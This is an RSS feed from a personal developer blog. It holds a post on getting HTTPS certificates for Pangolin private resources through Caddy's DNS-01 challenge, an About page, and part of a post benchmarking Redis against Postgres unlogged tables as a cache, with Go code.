<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" 
xmlns:content="http://purl.org/rss/1.0/modules/content/" 
xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Dizzy zone</title>
    <link>https://dizzy.zone/</link>
    <description>Recent content on Dizzy zone</description>
    <generator>Hugo</generator>
    <language>en-us</language>
    <lastBuildDate>Wed, 11 Feb 2026 14:16:42 +0200</lastBuildDate>
    <atom:link href="https://dizzy.zone/index.xml" rel="self" type="application/rss+xml" />
        <item>
            <title>Pangolin Private Resources With Domain Https</title>
            <link>https://dizzy.zone/2026/02/11/Pangolin-Private-Resources-With-Domain-Https/</link>
            <pubDate>Wed, 11 Feb 2026 14:16:42 +0200</pubDate>
            
            <guid>https://dizzy.zone/2026/02/11/Pangolin-Private-Resources-With-Domain-Https/</guid>
            <description><![CDATA[ <p>I&rsquo;ve been moving slowly away from Cloudflare tunnels and into a self hosted solution. For this, I use a self hosted instance of <a href="https://pangolin.net/">Pangolin</a>. Pangolin allows to expose services from my homelab for the whole world to see, should I wish to do so. However, not all services are created equal and there are some that I&rsquo;d like to only be accessible via VPN.</p>
<p>Thankfully, Pangolin allows for this via its private resources. You can define a resource that is only accessible when you&rsquo;re connected to the network via the pangolin client. It also allows setting a DNS alias for the resource in question, so you can point a subdomain like <code>frigate.example.com</code> to the internal resource. When connected via the client, the DNS will be resolved by a private DNS server running in the client and pointed in the right direction. This poses a small issue though - while Pangolin will happily pass ACME domain challenges for public resources, there&rsquo;s no such mechanism at the moment for private resources. What this means is that you can&rsquo;t easily obtain TLS certificates for such domains.</p>]]></description>
            <content:encoded><![CDATA[ <p>I&rsquo;ve been moving slowly away from Cloudflare tunnels and into a self hosted solution. For this, I use a self hosted instance of <a href="https://pangolin.net/">Pangolin</a>. Pangolin allows to expose services from my homelab for the whole world to see, should I wish to do so. However, not all services are created equal and there are some that I&rsquo;d like to only be accessible via VPN.</p>
<p>Thankfully, Pangolin allows for this via its private resources. You can define a resource that is only accessible when you&rsquo;re connected to the network via the pangolin client. It also allows setting a DNS alias for the resource in question, so you can point a subdomain like <code>frigate.example.com</code> to the internal resource. When connected via the client, the DNS will be resolved by a private DNS server running in the client and pointed in the right direction. This poses a small issue though - while Pangolin will happily pass ACME domain challenges for public resources, there&rsquo;s no such mechanism at the moment for private resources. What this means is that you can&rsquo;t easily obtain TLS certificates for such domains.</p>
<p>I&rsquo;ve worked around this limitation by doing the following. I&rsquo;ve got a reverse proxy - in my case <a href="https://caddyserver.com">caddy</a> - spun up in my homelab. It&rsquo;s not exposed and is not reachable on the public internet, so it uses <a href="https://letsencrypt.org/docs/challenge-types/#dns-01-challenge">DNS-01 challenges</a> by manipulating TXT records on the domain in question.</p>
<p>To do this, I&rsquo;ve used the <a href="https://github.com/caddy-dns/cloudflare">Caddy Cloudflare module</a>. I build an image with it, here&rsquo;s the Dockerfile:</p>
<pre tabindex="0"><code class="language-dockerfiel" data-lang="dockerfiel">FROM caddy:2.10.2-builder AS builder

RUN xcaddy build \
    --with github.com/caddy-dns/cloudflare

FROM caddy:2.10.2

COPY --from=builder /usr/bin/caddy /usr/bin/caddy</code></pre>
<p>With it, my Caddyfile looks like so:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>    frigate.example.com {
</span></span><span style="display:flex;"><span>      reverse_proxy frigate.default.svc.cluster.local:3030
</span></span><span style="display:flex;"><span>      tls {
</span></span><span style="display:flex;"><span>        dns cloudflare {env.CLOUDFLARE_API_TOKEN}
</span></span><span style="display:flex;"><span>        resolvers 1.1.1.1
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>    }</span></span></code></pre></div>
<p>In my Pangolin configuration I can point the private resource to the reverse proxy and specify the alias of <code>frigate.example.com</code>. Now, when connected via the Pangolin client to the network, I can type <code>frigate.example.com</code> in my browser and get to view my frigate dashboard over HTTPS.</p>
<p>Hope you find this useful!</p>
<p><em>EDIT</em>: with the release of Pangolin 1.18, this is largely made reduntant. <a href="https://pangolin.net/news/1-18-release">See release notes</a>.</p>
]]></content:encoded>
        </item>
        <item>
            <title>About</title>
            <link>https://dizzy.zone/about/</link>
            <pubDate>Thu, 02 Oct 2025 13:35:05 +0300</pubDate>
            
            <guid>https://dizzy.zone/about/</guid>
            <description><![CDATA[ <h2 id="hello">Hello!</h2>
<p>I&rsquo;m Vik, a software developer. I mostly work with Go on backend, implementing APIs, services and handling messages.</p>
<p>I enjoy digging into infrastructure as well - be it K8S, CI/CD, observability, databases, messaging brokers and general automation.</p>
<p>This blog is my personal space where I share my thoughts, perhaps a tutorial or two and some general ramblings.</p>
<h2 id="contact">Contact</h2>
<p>Feel free to reach out:</p>
<ul>
<li>Email: <a href="mailto:info@dizzy.zone">info@dizzy.zone</a></li>
<li>Bluesky: <a href="https://bsky.app/profile/dizzyvik.bsky.social">@dizzyvik.bsky.social</a></li>
</ul>
<p>Or drop a comment under one of the posts.</p>]]></description>
            <content:encoded><![CDATA[ <h2 id="hello">Hello!</h2>
<p>I&rsquo;m Vik, a software developer. I mostly work with Go on backend, implementing APIs, services and handling messages.</p>
<p>I enjoy digging into infrastructure as well - be it K8S, CI/CD, observability, databases, messaging brokers and general automation.</p>
<p>This blog is my personal space where I share my thoughts, perhaps a tutorial or two and some general ramblings.</p>
<h2 id="contact">Contact</h2>
<p>Feel free to reach out:</p>
<ul>
<li>Email: <a href="mailto:info@dizzy.zone">info@dizzy.zone</a></li>
<li>Bluesky: <a href="https://bsky.app/profile/dizzyvik.bsky.social">@dizzyvik.bsky.social</a></li>
</ul>
<p>Or drop a comment under one of the posts.</p>
<p>Here&rsquo;s my <a href="https://github.com/vkuznecovas">github</a>.</p>
<p>Oh, and you can also <a href="https://dizzy.zone/index.xml">subscribe to the RSS feed</a>.</p>
<p>Thanks for stopping by!</p>
]]></content:encoded>
        </item>
        <item>
            <title>Redis is fast - I&#39;ll cache in Postgres</title>
            <link>https://dizzy.zone/2025/09/24/Redis-is-fast-Ill-cache-in-Postgres/</link>
            <pubDate>Wed, 24 Sep 2025 16:31:43 +0300</pubDate>
            
            <guid>https://dizzy.zone/2025/09/24/Redis-is-fast-Ill-cache-in-Postgres/</guid>
            <description><![CDATA[ <p>There are <a href="https://www.manning.com/books/just-use-postgres">books</a> &amp; many articles online, like <a href="https://www.amazingcto.com/postgres-for-everything/">this one</a> arguing for using Postgres for everything. I thought I&rsquo;d take a look at one use case - using Postgres instead of Redis for caching. I work with APIs quite a bit, so I&rsquo;d build a super simple HTTP server that responds with data from that cache. I&rsquo;d start from Redis as this is something I frequently encounter at work, switch it out to Postgres using unlogged tables and see if there&rsquo;s a difference.</p>]]></description>
            <content:encoded><![CDATA[ <p>There are <a href="https://www.manning.com/books/just-use-postgres">books</a> &amp; many articles online, like <a href="https://www.amazingcto.com/postgres-for-everything/">this one</a> arguing for using Postgres for everything. I thought I&rsquo;d take a look at one use case - using Postgres instead of Redis for caching. I work with APIs quite a bit, so I&rsquo;d build a super simple HTTP server that responds with data from that cache. I&rsquo;d start from Redis as this is something I frequently encounter at work, switch it out to Postgres using unlogged tables and see if there&rsquo;s a difference.</p>
<h2 id="the-setup">The setup</h2>
<p>I&rsquo;ll run the experiment on my <a href="https://dizzy.zone/2025/03/10/State-of-my-Homelab-2025/">homelab&rsquo;s</a> k8s cluster. The idea is to run Postgres or Redis on one node, limiting it to 2CPUs via k8s limits, as well as 8GiB of memory. On another node, I&rsquo;ll run the web server itself and then spin a pod for the benchmark executed via <a href="https://k6.io/">k6</a> on the third.</p>
<p>Both postgres and redis are used with the out of the box settings for the following images:</p>
<ul>
<li>Postgres - <code>postgres:17.6</code></li>
<li>Redis - <code>redis:8.2</code></li>
</ul>
<p>I wrote a simple webserver, with 2 endpoints, a cache and a &ldquo;Session&rdquo; struct which we&rsquo;ll store in the cache:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">ErrCacheMiss</span> = <span style="color:#a6e22e">errors</span>.<span style="color:#a6e22e">New</span>(<span style="color:#e6db74">&#34;cache miss&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">Cache</span> <span style="color:#66d9ef">interface</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Get</span>(<span style="color:#a6e22e">ctx</span> <span style="color:#a6e22e">context</span>.<span style="color:#a6e22e">Context</span>, <span style="color:#a6e22e">key</span> <span style="color:#66d9ef">string</span>) (<span style="color:#66d9ef">string</span>, <span style="color:#66d9ef">error</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">Set</span>(<span style="color:#a6e22e">ctx</span> <span style="color:#a6e22e">context</span>.<span style="color:#a6e22e">Context</span>, <span style="color:#a6e22e">key</span> <span style="color:#66d9ef">string</span>, <span style="color:#a6e22e">value</span> <span style="color:#66d9ef">string</span>) <span style="color:#66d9ef">error</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">Session</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">ID</span> <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">serveHTTP</span>(<span style="color:#a6e22e">c</span> <span style="color:#a6e22e">Cache</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">HandleFunc</span>(<span style="color:#e6db74">&#34;/get&#34;</span>, <span style="color:#a6e22e">getHandler</span>(<span style="color:#a6e22e">c</span>))
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">HandleFunc</span>(<span style="color:#e6db74">&#34;/set&#34;</span>, <span style="color:#a6e22e">setHandler</span>(<span style="color:#a6e22e">c</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">port</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Getenv</span>(<span style="color:#e6db74">&#34;PORT&#34;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">port</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">port</span> = <span style="color:#e6db74">&#34;8080&#34;</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#e6db74">&#34;Server starting on http://0.0.0.0:&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">port</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">server</span> <span style="color:#f92672">:=</span> <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Server</span>{<span style="color:#a6e22e">Addr</span>: <span style="color:#e6db74">&#34;0.0.0.0:&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">port</span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">go</span> <span style="color:#66d9ef">func</span>() {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">server</span>.<span style="color:#a6e22e">ListenAndServe</span>(); <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">ErrServerClosed</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#e6db74">&#34;Error starting server:&#34;</span>, <span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">quit</span> <span style="color:#f92672">:=</span> make(<span style="color:#66d9ef">chan</span> <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Signal</span>, <span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">signal</span>.<span style="color:#a6e22e">Notify</span>(<span style="color:#a6e22e">quit</span>, <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Interrupt</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">&lt;-</span><span style="color:#a6e22e">quit</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#e6db74">&#34;Shutting down server...&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">server</span>.<span style="color:#a6e22e">Close</span>(); <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#e6db74">&#34;Error shutting down server:&#34;</span>, <span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>For redis, I&rsquo;ve implemented the cache using <code>github.com/redis/go-redis/v9</code> as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">RedisCache</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">client</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">redis</span>.<span style="color:#a6e22e">Client</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">NewRedisCache</span>() <span style="color:#f92672">*</span><span style="color:#a6e22e">RedisCache</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">redisURL</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Getenv</span>(<span style="color:#e6db74">&#34;REDIS_URL&#34;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">redisURL</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">redisURL</span> = <span style="color:#e6db74">&#34;localhost:6379&#34;</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#e6db74">&#34;Connecting to Redis at&#34;</span>, <span style="color:#a6e22e">redisURL</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">client</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">redis</span>.<span style="color:#a6e22e">NewClient</span>(<span style="color:#f92672">&amp;</span><span style="color:#a6e22e">redis</span>.<span style="color:#a6e22e">Options</span>{
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">Addr</span>:     <span style="color:#a6e22e">redisURL</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">Password</span>: <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">DB</span>:       <span style="color:#ae81ff">0</span>,
</span></span><span style="display:flex;"><span>	})
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">RedisCache</span>{
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">client</span>: <span style="color:#a6e22e">client</span>,
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">r</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">RedisCache</span>) <span style="color:#a6e22e">Get</span>(<span style="color:#a6e22e">ctx</span> <span style="color:#a6e22e">context</span>.<span style="color:#a6e22e">Context</span>, <span style="color:#a6e22e">key</span> <span style="color:#66d9ef">string</span>) (<span style="color:#66d9ef">string</span>, <span style="color:#66d9ef">error</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">val</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">client</span>.<span style="color:#a6e22e">Get</span>(<span style="color:#a6e22e">ctx</span>, <span style="color:#a6e22e">key</span>).<span style="color:#a6e22e">Result</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">==</span> <span style="color:#a6e22e">redis</span>.<span style="color:#a6e22e">Nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;&#34;</span>, <span style="color:#a6e22e">ErrCacheMiss</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;&#34;</span>, <span style="color:#a6e22e">err</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">val</span>, <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">r</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">RedisCache</span>) <span style="color:#a6e22e">Set</span>(<span style="color:#a6e22e">ctx</span> <span style="color:#a6e22e">context</span>.<span style="color:#a6e22e">Context</span>, <span style="color:#a6e22e">key</span> <span style="color:#66d9ef">string</span>, <span style="color:#a6e22e">value</span> <span style="color:#66d9ef">string</span>) <span style="color:#66d9ef">error</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">client</span>.<span style="color:#a6e22e">Set</span>(<span style="color:#a6e22e">ctx</span>, <span style="color:#a6e22e">key</span>, <span style="color:#a6e22e">value</span>, <span style="color:#ae81ff">0</span>).<span style="color:#a6e22e">Err</span>()
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>The postgres cache is implemented using the <code>github.com/jackc/pgx/v5</code> library:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">PostgresCache</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">db</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">pgxpool</span>.<span style="color:#a6e22e">Pool</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">NewPostgresCache</span>() (<span style="color:#f92672">*</span><span style="color:#a6e22e">PostgresCache</span>, <span style="color:#66d9ef">error</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">pgDSN</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Getenv</span>(<span style="color:#e6db74">&#34;POSTGRES_DSN&#34;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">pgDSN</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;&#34;</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">pgDSN</span> = <span style="color:#e6db74">&#34;postgres://user:password@localhost:5432/mydb&#34;</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">cfg</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">pgxpool</span>.<span style="color:#a6e22e">ParseConfig</span>(<span style="color:#a6e22e">pgDSN</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">nil</span>, <span style="color:#a6e22e">err</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">cfg</span>.<span style="color:#a6e22e">MaxConns</span> = <span style="color:#ae81ff">50</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">cfg</span>.<span style="color:#a6e22e">MinConns</span> = <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">pool</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">pgxpool</span>.<span style="color:#a6e22e">NewWithConfig</span>(<span style="color:#a6e22e">context</span>.<span style="color:#a6e22e">Background</span>(), <span style="color:#a6e22e">cfg</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">nil</span>, <span style="color:#a6e22e">err</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">_</span>, <span style="color:#a6e22e">err</span> = <span style="color:#a6e22e">pool</span>.<span style="color:#a6e22e">Exec</span>(<span style="color:#a6e22e">context</span>.<span style="color:#a6e22e">Background</span>(), <span style="color:#e6db74">`
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">		CREATE UNLOGGED TABLE IF NOT EXISTS cache (
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">			key VARCHAR(255) PRIMARY KEY,
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">			value TEXT
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">		);
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">	`</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#66d9ef">nil</span>, <span style="color:#a6e22e">err</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">PostgresCache</span>{
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">db</span>: <span style="color:#a6e22e">pool</span>,
</span></span><span style="display:flex;"><span>	}, <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">p</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">PostgresCache</span>) <span style="color:#a6e22e">Get</span>(<span style="color:#a6e22e">ctx</span> <span style="color:#a6e22e">context</span>.<span style="color:#a6e22e">Context</span>, <span style="color:#a6e22e">key</span> <span style="color:#66d9ef">string</span>) (<span style="color:#66d9ef">string</span>, <span style="color:#66d9ef">error</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">content</span> <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">p</span>.<span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">QueryRow</span>(<span style="color:#a6e22e">ctx</span>, <span style="color:#e6db74">`SELECT value FROM cache WHERE key = $1`</span>, <span style="color:#a6e22e">key</span>).<span style="color:#a6e22e">Scan</span>(<span style="color:#f92672">&amp;</span><span style="color:#a6e22e">content</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">==</span> <span style="color:#a6e22e">pgx</span>.<span style="color:#a6e22e">ErrNoRows</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;&#34;</span>, <span style="color:#a6e22e">ErrCacheMiss</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;&#34;</span>, <span style="color:#a6e22e">err</span>
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">content</span>, <span style="color:#66d9ef">nil</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">p</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">PostgresCache</span>) <span style="color:#a6e22e">Set</span>(<span style="color:#a6e22e">ctx</span> <span style="color:#a6e22e">context</span>.<span style="color:#a6e22e">Context</span>, <span style="color:#a6e22e">key</span> <span style="color:#66d9ef">string</span>, <span style="color:#a6e22e">value</span> <span style="color:#66d9ef">string</span>) <span style="color:#66d9ef">error</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">_</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">p</span>.<span style="color:#a6e22e">db</span>.<span style="color:#a6e22e">Exec</span>(<span style="color:#a6e22e">ctx</span>, <span style="color:#e6db74">`INSERT INTO cache (key, value) VALUES ($1, $2) ON CONFLICT (key) DO UPDATE SET value = $2`</span>, <span style="color:#a6e22e">key</span>, <span style="color:#a6e22e">value</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">err</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div></p>
<p>I&rsquo;ll seed the redis and postgres with 30 million entries each, keeping record of the inserted uuids. From there, I&rsquo;ll generate a subset of existing uuids to use while benchmarking. This allows for simulating both hits and misses.</p>
<p>I&rsquo;ll do a few runs of benchmarks for gets first, then sets and then a mixed run. Each run will execute for 2 minutes. I&rsquo;ll look at the number of operations per second, latencies as well as memory and CPU usage during those times.</p>
<p>To simulate a somewhat real scenario where only a subset of keys exist in the cache the set benchmark will have a 10% chance to update an existing key, whereas the get will have an 80% chance of picking an existing key. The mixed workload will have a 20% chance to execute a set scenario and 80% for the get scenario.</p>
<h2 id="the-results">The results</h2>
<h3 id="getting-values-from-cache">Getting values from cache</h3>














<div class="bar-container" id="bar-container-emsnk24i"></div>

<div class="bar-annotation">
    
        Requests per second – higher is better
    
</div>
<style>
    .bar-container {
        width: 100%;
        max-width: 600px;
        margin: 0 auto;
        font-family: sans-serif;
    }

    .bar-annotation {
        text-align: center;
        font-size: 0.85em;
        color: var(--secondary);
        margin-top: -10px;
        margin-bottom: 1em;
        font-style: italic;
    }

    .bar-header {
        display: flex;
        justify-content: space-between;
        align-items: center;
        margin-top: 1em;
    }

    .bar-label {
        font-weight: bold;
    }

    .bar-number {
        font-weight: bold;
        z-index: 1;
    }

    .bar {
        background-color: var(--code-bg);
        height: 30px;
        margin-bottom: 20px;
        border-radius: var(--radius);
        overflow: hidden;
        position: relative;
    }

    .bar-fill {
        height: 100%;
        width: 0;
        border-radius: var(--radius);
        position: relative;
        display: flex;
        align-items: center;
        padding-left: 10px;
        box-sizing: border-box;
        color: white;
        font-weight: bold;
        transition: width 1.5s ease-in-out;
    }
</style>


<script src="https://cdn.jsdelivr.net/npm/animejs/lib/anime.iife.min.js"></script>

<script>
    (function() {
        if (typeof anime === 'undefined') {
            console.error('Anime.js is not loaded. Please check the script source.');
            return;
        }
